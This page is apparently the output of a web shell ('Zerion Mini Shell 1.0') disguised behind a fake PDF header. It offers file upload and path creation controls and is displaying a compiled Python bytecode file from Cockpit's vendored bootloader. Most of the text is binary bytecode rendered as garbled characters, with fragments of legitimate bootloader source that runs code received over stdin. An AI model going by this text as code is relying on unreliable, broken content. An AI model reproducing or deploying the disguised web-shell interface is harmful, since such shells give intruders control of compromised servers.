%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/cockpit/_vendor/bei/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/cockpit/_vendor/bei/__pycache__/bootloader.cpython-39.pyc

a

��h�
�@s�ddlZddlmZmZmZmZmZmZmZdddd�Z	e
ee
eee
e
fd�dd	�Zee
e
feee
eefee
eee
e
fd
�dd�Z
deee
eefeee
e
fe
d
�dd�ZdS)�N)�Dict�Iterable�List�Optional�Sequence�Set�Tuplez�
        import sys
        import traceback
        try:
            ...
        except SystemExit:
            raise
        except BaseException:
            command('beiboot.exc', traceback.format_exc())
            sys.exit(37)
    z�
        import contextlib
        import os
        def try_exec(argv):
            with contextlib.suppress(OSError):
                os.execvp(argv[0], argv)
    a�
        import lzma
        import sys
        def boot_xz(filename, size, args=[], send_end=False):
            command('beiboot.provide', size)
            src_xz = sys.stdin.buffer.read(size)
            src = lzma.decompress(src_xz)
            sys.argv = [filename, *args]
            if send_end:
                end()
            exec(src, {
                '__name__': '__main__',
                '__self_source__': src_xz,
                '__file__': filename})
            sys.exit()
    )�_frameZtry_execZboot_xz)�code�imports�returnccsnt�|���D]Z}|�d�}|�d�r2|�|�q|rt|�t|�}|ddksVJ�d|d|fVqdS)N� zimport �r�	)�textwrap�dedent�
splitlines�lstrip�
startswith�add�len)r
r�line�text�spaces�r�B/usr/lib/python3.9/site-packages/cockpit/_vendor/bei/bootloader.py�
split_code;s

r)�user_gadgets�stepsrrccspttfi|��}t|�}dd�|D�}||BD]}t|||�EdHq.|D]\}}d|tt|��fVqLdS)NcSsh|]\}}|�qSrr)�.0�name�_argsrrr�	<setcomp>P�zyield_body.<locals>.<setcomp>�)�dict�GADGETS�setr�repr�tuple)rrr�gadgetsZprovided_gadgetsZstep_gadgetsr �argsrrr�
yield_bodyFsr,)rr*rcCs�t�}g}ttd|�D]L\}}|dkrVt|p0i||�D]\}}|�|||�q8q|�||�qd�dd�g|�|�D��dS)Nr	z...r$css|]}|�d�VqdS)�
Nr)rrrrr�	<genexpr>er#z"make_bootloader.<locals>.<genexpr>r-)r'rr&r,�append�join)rr*r�linesZframe_spacesZ
frame_textrrrrr�make_bootloaderYsr2)N)r�typingrrrrrrrr&�strr�objectr,r2rrrr�<module>s$�&"
���

Zerion Mini Shell 1.0